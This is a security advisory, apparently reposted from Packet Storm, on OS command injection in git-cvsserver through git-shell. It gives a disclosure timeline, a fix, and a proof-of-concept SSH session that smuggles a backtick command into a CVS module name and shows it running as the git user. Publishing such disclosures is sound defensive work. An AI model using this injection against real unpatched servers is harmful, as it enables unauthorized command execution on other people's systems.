Git cvsserver Remote Command Execution

The git subcommand cvsserver is a Perl script which makes excessive use of the backtick operator to invoke git. Unfortunately user input is used within some of those invocations and it allows for OS command injection. Versions before before 2.14.2, 2.13.6, 2.12.5, 2.11.4 and 2.10.5 are affected.


MD5 | d20dd2daa3a886f605dc703ed7b1a0f7

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Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 ++--->

[ Authors ]
        joernchen       <joernchen () phenoelit de>

        Phenoelit Group (http://www.phenoelit.de)

[ Affected Products ]
        Git before 2.14.2, 2.13.6, 2.12.5, 2.11.4 and 2.10.5 (git-cvsserver)
        https://git-scm.com

[ Vendor communication ]
        2017-09-08 Sent vulnerability details to the git-security list
        2017-09-09 Acknowledgement of the issue, git maintainers ask if
                   a patch could be provided
        2017-09-10 Patch is provided
        2017-09-11 Further backtick operations are patched by the git
                   maintainers, corrections on the provided patch
        2017-09-11 Revised patch is sent out
        2017-09-11 Jeff King proposes to drop `git-cvsserver`'s default
                   invocation from `git-shell`
        2017-09-22 Draft release for git 2.14.2 is created including the
                   fixes
        2017-09-26 Release of this advisory, release of fixed git versions

[ Description ]
  The `git` subcommand `cvsserver` is a Perl script which makes excessive
  use of the backtick operator to invoke `git`. Unfortunately user input
        is used within some of those invocations.


  It should be noted, that `git-cvsserver` will be invoked by `git-shell`
        by default without further configuration.

[ Example ]
  Below a example of a OS Command Injection within `git-cvsserver`
        triggered via `git-shell`:

        =====8<=====
[git@host ~]$ cat .ssh/authorized_keys
command="git-shell -c \"$SSH_ORIGINAL_COMMAND\"" ssh-rsa AAAAB3NzaC ....

[joernchen@host ~]$ ssh git@localhost cvs server
Root /tmp
E /tmp/ does not seem to be a valid GIT repository
E
error 1 /tmp/ is not a valid repository
Directory .
`id>foooooo`
add
fatal: Not a git repository: '/tmp/'
Invalid module '`id>foooooo`' at /usr/lib/git-core/git-cvsserver line 3807, <STDIN> line 4.
[joernchen@host ~]$

[git@host ~]$ cat foooooo
uid=619(git) gid=618(git) groups=618(git)
[git@host ~]$
        =====>8=====

[ Solution ]
        Upgrade to one of the following git versions:
        * 2.14.2
        * 2.13.6
        * 2.12.5
        * 2.11.4
        * 2.10.5

[ end of file ]

Source: packetstormsecurity.com
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